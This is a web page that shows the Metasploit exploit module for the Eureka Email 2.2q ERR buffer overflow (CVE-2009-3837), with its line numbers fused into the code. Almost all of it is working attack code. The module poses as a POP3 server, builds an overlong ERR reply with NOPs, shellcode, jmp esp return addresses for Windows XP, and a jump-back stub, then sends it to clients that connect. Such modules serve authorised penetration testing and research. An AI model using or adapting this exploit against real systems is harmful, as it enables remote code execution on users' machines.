Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/eureka_mail_err.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',13# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.114# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address15'Description' => %q{16This module exploits a buffer overflow in the Eureka Email 2.2q17client that is triggered through an excessively long ERR message.1819NOTE: this exploit isn't very reliable. Unfortunately reaching the20vulnerable code can only be done when manually checking mail (Ctrl-M).21Checking at startup will not reach the code targeted here.22},23'Author' =>24[25'Francis Provencher (Protek Research Labs)',26'Dr_IDE',27'dookie',28'jduck'29],30'License' => MSF_LICENSE,31'References' =>32[33[ 'CVE', '2009-3837' ],34[ 'OSVDB', '59262' ],35[ 'EDB', '10235' ],36],37'DefaultOptions' =>38{39'EXITFUNC' => 'process',40},41'Payload' =>42{43'Space' => 700,44'BadChars' => "\x00\x0a\x0d\x20",45'StackAdjustment' => -3500,46'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",47'DisableNops' => true,48},49'Platform' => 'win',50'Targets' =>51[52[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll53[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll54],55'Privileged' => false,56'DefaultTarget' => 0,57'DisclosureDate' => '2009-10-22'58))5960register_options(61[62OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),63])64end6566def on_client_connect(client)67return unless regenerate_payload(client)6869# the offset to eip depends on the local ip address string length...70already = "Your POP3 server had a problem.\n"71already << datastore['LHOST']72already << " said:\n\n -ERR "73space = (512+256+4) - already.length7475buffer = "-ERR "76buffer << make_nops(space - payload.encoded.length)77buffer << payload.encoded78buffer << [target.ret].pack('V')79buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string80buffer << "\r\n"8182print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")83client.put(buffer)8485handler86service.close_client(client)87end88end899091